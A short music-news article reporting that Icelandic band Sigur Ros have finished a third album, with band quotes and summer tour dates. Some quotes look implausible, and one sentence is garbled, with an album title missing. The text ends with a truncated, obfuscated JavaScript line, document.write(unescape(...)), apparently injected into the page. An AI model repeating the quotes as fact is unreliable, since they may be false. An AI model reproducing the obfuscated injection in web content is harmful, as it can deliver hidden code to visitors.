Sigur Ros change direction

Progressive Icelandic act Sigur Ros have completed recording sessions for their third studio album - which is said to be a change of direction of the band.

Soundgenerator can reveal that the as-yet-untitled set, the band's third, has now been recorded and mixed, and is currently being mastered in New York. Although details are still sketchy, an autumn release date is mentioned.

The album is said to be a clear progression for the group and, although not completely embracing the 3-minute pop template, which had been rumoured, is more 'rock and roll' than previous releases.

"we have to make the sound on the album more solid," frontman Jonsi told morgunbla newspaper this week in a revealing interview. "We are aiming for a korn and papa roach kind of thing."

Speaking about the misconception that Sigur Ros are tea drinking 'new age hippies', referring to their introspective, dreamscape music, Jonsi counters, "no tea, we only drink hardcore coffee around these parts".

The new set took a year and a half in total to record, with bandmembers busy throughout 2004 with a number of side projects. However, the band seem to be enjoying the recording process more than on 2002's "this album somehow came together faster and better than ( )," adds bandmember kjartan. "It was just a natural progression from the last album. the last album was so heavy, so it felt better to rock this one out."

Next month, the band head out on the road for their biggest tour to date. Starting July 8 at the Glasgow Academy, the tour takes the band through until October, with shows across Europe, the U.S. and the Far East. Speaking about a show in Hawaii, Orri reveals "the venue is a very cool old theatre built in 1920." kjartan says some time off will be the order of the day. "It's amazing to be able to go to places like these. we're going to go scubadiving and stuff."document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;